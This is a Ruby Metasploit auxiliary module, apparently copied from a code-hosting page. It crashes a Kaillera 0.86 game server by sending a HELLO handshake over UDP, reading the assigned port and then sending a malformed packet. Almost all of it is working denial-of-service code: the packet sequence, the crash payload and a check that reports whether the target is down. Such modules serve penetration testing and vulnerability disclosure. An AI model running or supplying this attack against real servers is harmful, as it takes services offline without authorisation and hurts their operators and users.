75 lines
1.7 KiB
Ruby
75 lines
1.7 KiB
Ruby
|
##
|
||
|
# $Id$
|
||
|
##
|
||
|
|
||
|
##
|
||
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
# Framework web site for more information on licensing and terms of use.
|
||
|
# http://metasploit.com/framework/
|
||
|
##
|
||
|
|
||
|
require 'msf/core'
|
||
|
|
||
|
class Metasploit3 < Msf::Auxiliary
|
||
|
|
||
|
include Msf::Exploit::Remote::Udp
|
||
|
include Msf::Auxiliary::Dos
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'Kaillera 0.86 Server Denial of Service' ,
|
||
|
'Description' => %q{
|
||
|
The Kaillera 0.86 server can be shut down by sending any malformed packet
|
||
|
after the intial "hello" packet.
|
||
|
},
|
||
|
'Author' => ["Sil3nt_Dre4m"],
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Version' => "$Revision$",
|
||
|
'References' =>
|
||
|
[
|
||
|
[ 'URL', 'http://kaillerahacks.blogspot.com/2011/07/kaillera-server-086-dos-vulnerability.html' ]
|
||
|
],
|
||
|
'DisclosureDate' => 'Jul 2 2011'))
|
||
|
|
||
|
register_options([
|
||
|
Opt::RPORT(27888)
|
||
|
])
|
||
|
end
|
||
|
|
||
|
def run
|
||
|
#Send HELLO to target
|
||
|
connect_udp
|
||
|
print_status("Sending Crash request...")
|
||
|
udp_sock.put("HELLO0.83\0")
|
||
|
res = udp_sock.recvfrom(15)
|
||
|
disconnect_udp
|
||
|
|
||
|
if res[0] =~ /HELLOD00D([0-9]{1,5})/
|
||
|
port = $1
|
||
|
else print_status("Connection failed")
|
||
|
return
|
||
|
end
|
||
|
|
||
|
#Send DOS packet
|
||
|
connect_udp(global = true,'RPORT' => port)
|
||
|
print_status("Sending DoS packet to #{rhost}:#{port}...")
|
||
|
udp_sock.put("Kthxbai")
|
||
|
disconnect_udp
|
||
|
|
||
|
#Check is target is down
|
||
|
connect_udp
|
||
|
print_status("Checking target...")
|
||
|
udp_sock.put("HELLO0.83\0")
|
||
|
res = udp_sock.recvfrom(15)
|
||
|
disconnect_udp
|
||
|
|
||
|
if res[0] =~ /HELLO/
|
||
|
print_error("DoS attempt failed. It apperas target is still up.")
|
||
|
else
|
||
|
print_good("Target is down")
|
||
|
end
|
||
|
end
|
||
|
|
||
|
end
|